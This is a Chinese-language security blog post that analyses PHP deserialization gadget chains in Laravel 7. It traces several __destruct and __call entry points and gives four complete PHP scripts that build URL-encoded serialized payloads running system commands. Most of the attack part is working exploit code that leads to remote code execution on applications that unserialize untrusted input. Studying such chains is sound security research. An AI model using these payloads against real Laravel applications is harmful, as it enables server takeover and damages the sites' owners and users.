sky's blog

Laravel 7 Deserialization Chain Summary

字数统计: 1,558阅读时长: 8 min
2020/07/19 Share

前言

晚上闲着无聊,想到real world和ctf里非常喜欢出题考察的laravel,于是下了个7系列版本分析着玩一玩,梳理了一下现阶段可用的一些exp。

切入点

网上冲浪看到一篇blog讲laravel 5.8的漏洞,感觉挺有趣的:

1
https://nikoeurus.github.io/2019/12/16/laravel5.8%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#Routes%E7%9B%AE%E5%BD%95

文章提供了一个切入点,即

1
Illuminate\Broadcasting\PendingBroadcast::__destruct

关键位置代码如下:

1
2
3
4
public function __destruct()
{
$this->events->dispatch($this->event);
}

我们看到在__destruct函数中使用通过$this->events调用了方法dispatch,参数为$this->event。
这一位置在最新版中依然存在,同时我们可以发现$this->events和$this->event均为可控点,那么可以玩的花样就比较多了:

1
2
1.通过dispatch + 可控$this->events 触发__call方法
2.通过同名方法进行攻击

利用__call魔法方法

尝试搜寻一番__call魔法方法,发现一个切入点:

1
Faker\Generator::__call

关键代码如下:

1
2
3
4
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}

跟进类内方法format:

1
2
3
4
public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}

此处比较开心的是,正好调用参数时,使用了类内方法getFormatter,我们查看该方法的关键内容:

1
2
3
4
5
6
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
.......

显然我们可以使用数组进行bypass,例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
$formatters['dispatch'] = xxx
```
如此一来即可任意RCE,我们编写exp:
```php
<?php
namespace Faker{
class Generator{
protected $formatters;
public function __construct($formatters){
$this->formatters = $formatters;
}
}
}
namespace Illuminate\Broadcasting{
class PendingBroadcast{
protected $events;
protected $event;
public function __construct($event, $events)
{
$this->event = $event;
$this->events = $events;
}
}
}
namespace{
$a = new Faker\Generator(array('dispatch' => 'system'));
$b = new Illuminate\Broadcasting\PendingBroadcast('ls',$a);
echo urlencode(serialize($b));
}
?>

利用同名函数

全局搜索哪些类有dispatch方法,可以定位到关键类:Illuminate\Bus\Dispatcher。
我们跟进其dispatch函数:

1
2
3
4
5
6
7
public function dispatch($command)
{
if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
return $this->dispatchToQueue($command);
}
return $this->dispatchNow($command);
}

跟进dispatchToQueue函数:

1
2
3
4
5
6
7
public function dispatchToQueue($command)
{
$connection = $command->connection ?? null;

$queue = call_user_func($this->queueResolver, $connection);
.......
}

不难发现有call_user_func,而此时$this->queueResolver和$connection均可控。
那么只要通过如下限制即可:

1
if ($this->queueResolver && $this->commandShouldBeQueued($command))

我们跟进commandShouldBeQueued:

1
2
3
4
protected function commandShouldBeQueued($command)
{
return $command instanceof ShouldQueue;
}

发现只要是继承ShouldQueue接口的类皆可。
这里随便搜一下,发现5个类均可用,编写exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
<?php

namespace Illuminate\Broadcasting{
class PendingBroadcast
{
protected $events;
protected $event;

public function __construct($events="",$event="")
{
$this->events = $events;
$this->event = $event;
}
}
}

namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;

public function __construct($queueResolver="")
{
$this->queueResolver = $queueResolver;
}
}
}

namespace Illuminate\Events{
class CallQueuedListener
{
public $connection;

public function __construct($connection="")
{
$this->connection = $connection;
}
}
}

namespace Illuminate\Broadcasting{
class BroadcastEvent
{
public $connection;

public function __construct($connection="")
{
$this->connection = $connection;
}
}
}

namespace Illuminate\Foundation\Console{
class QueuedCommand
{
public $connection;

public function __construct($connection="")
{
$this->connection = $connection;
}
}
}

namespace Illuminate\Notifications{
class SendQueuedNotifications
{
public $connection;

public function __construct($connection="")
{
$this->connection = $connection;
}
}
}


namespace Illuminate\Queue{
class CallQueuedClosure
{
public $connection;

public function __construct($connection="")
{
$this->connection = $connection;
}
}
}

namespace{
$a = new Illuminate\Bus\Dispatcher('system');
$b = new Illuminate\Events\CallQueuedListener('ls');
// $b = new Illuminate\Broadcasting\BroadcastEvent('ls');
// $b = new Illuminate\Foundation\Console\QueuedCommand('ls');
// $b = new Illuminate\Notifications\SendQueuedNotifications('ls');
// $b = new Illuminate\Queue\CallQueuedClosure('ls');
$c = new Illuminate\Broadcasting\PendingBroadcast($a,$b);
echo urlencode(serialize($c));
}
?>

这5个exp异曲同工,均可使用。

举一反三(1)

那么对于诸如如上对象可控,对象调用方法参数可控的例子还有吗:
搜寻一番,可以发现关键类:Illuminate\Routing\PendingResourceRegistration
关键代码如下:

1
2
3
4
5
6
public function __destruct()
{
if (! $this->registered) {
$this->register();
}
}

跟进类内方法register:

1
2
3
4
5
6
7
8
public function register()
{
$this->registered = true;

return $this->registrar->register(
$this->name, $this->controller, $this->options
);
}

此时我们发现:

1
2
3
4
5
$this->registered
$this->registrar
$this->name
$this->controller
$this->options

均为可控点,因此我们又有2条路可走:

1
2
1.使用__call魔法方法构造pop chain
2.寻找register同名函数构造pop chain

对于1的情况,其实直接复用之前的Faker\Generator类即可,我们很容易写出exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
namespace Faker{
class Generator{
protected $formatters;
public function __construct($formatters){
$this->formatters = $formatters;
}
}
}
namespace Illuminate\Routing{
class PendingResourceRegistration{
protected $registrar;
protected $name;
protected $controller;
protected $options;
public function __construct($registrar, $name, $controller, $options)
{
$this->registrar = $registrar;
$this->name = $name;
$this->controller = $controller;
$this->options = $options;
}
}
}
namespace{
$a = new Faker\Generator(array('register' => 'call_user_func'));
$b = new Illuminate\Routing\PendingResourceRegistration($a,'call_user_func','system','ls');
echo urlencode(serialize($b));
}
?>

同理由于这个call_user_func 2个参数均可控,因此可调用任意对象的任意方法,传入任意参数。可以衍变出无数种可能。因此不再赘述。

举一反三(2)

继续搜寻类似的方法,可以发现关键类:Symfony\Component\Routing\Loader\Configurator\ImportConfigurator:
关键代码:

1
2
3
4
public function __destruct()
{
$this->parent->addCollection($this->route);
}

此处我们的对象和参数均可控,那么同样可以结合Faker\Generator类写出exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
namespace Faker{
class Generator{
protected $formatters;
public function __construct($formatters){
$this->formatters = $formatters;
}
}
}
namespace Symfony\Component\Routing\Loader\Configurator{
class ImportConfigurator{
private $parent;
private $route;

public function __construct($parent, $route)
{
$this->parent = $parent;
$this->route = $route;
}
}
}


namespace{
$a = new Faker\Generator(array('addCollection' => 'system'));
$b = new Symfony\Component\Routing\Loader\Configurator\ImportConfigurator($a,'ls');
echo urlencode(serialize($b));
}
?>

后记

对于laravel的pop chain构造层出不穷,大概围绕以下几个思路展开:

1
2
3
4
5
6
7
1.__destruct内直接调用的函数存在风险
2.__destruct内调用方法的对象可控
2.1 同名方法
2.2 __call方法
3.拼接组合
3.1 call_user_func等函数 只有对象和方法名可控,需要拼接1的chain
3.2 call_user_func等函数 参数均可控,随意拼接chain

对于3的情况其实比较容易了,这里可以衍生出大量的chain构造,所以关键点还是找__destruct切入点。

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前言
  2. 2. 切入点
  3. 3. 利用__call魔法方法
  4. 4. 利用同名函数
  5. 5. 举一反三(1)
  6. 6. 举一反三(2)
  7. 7. 后记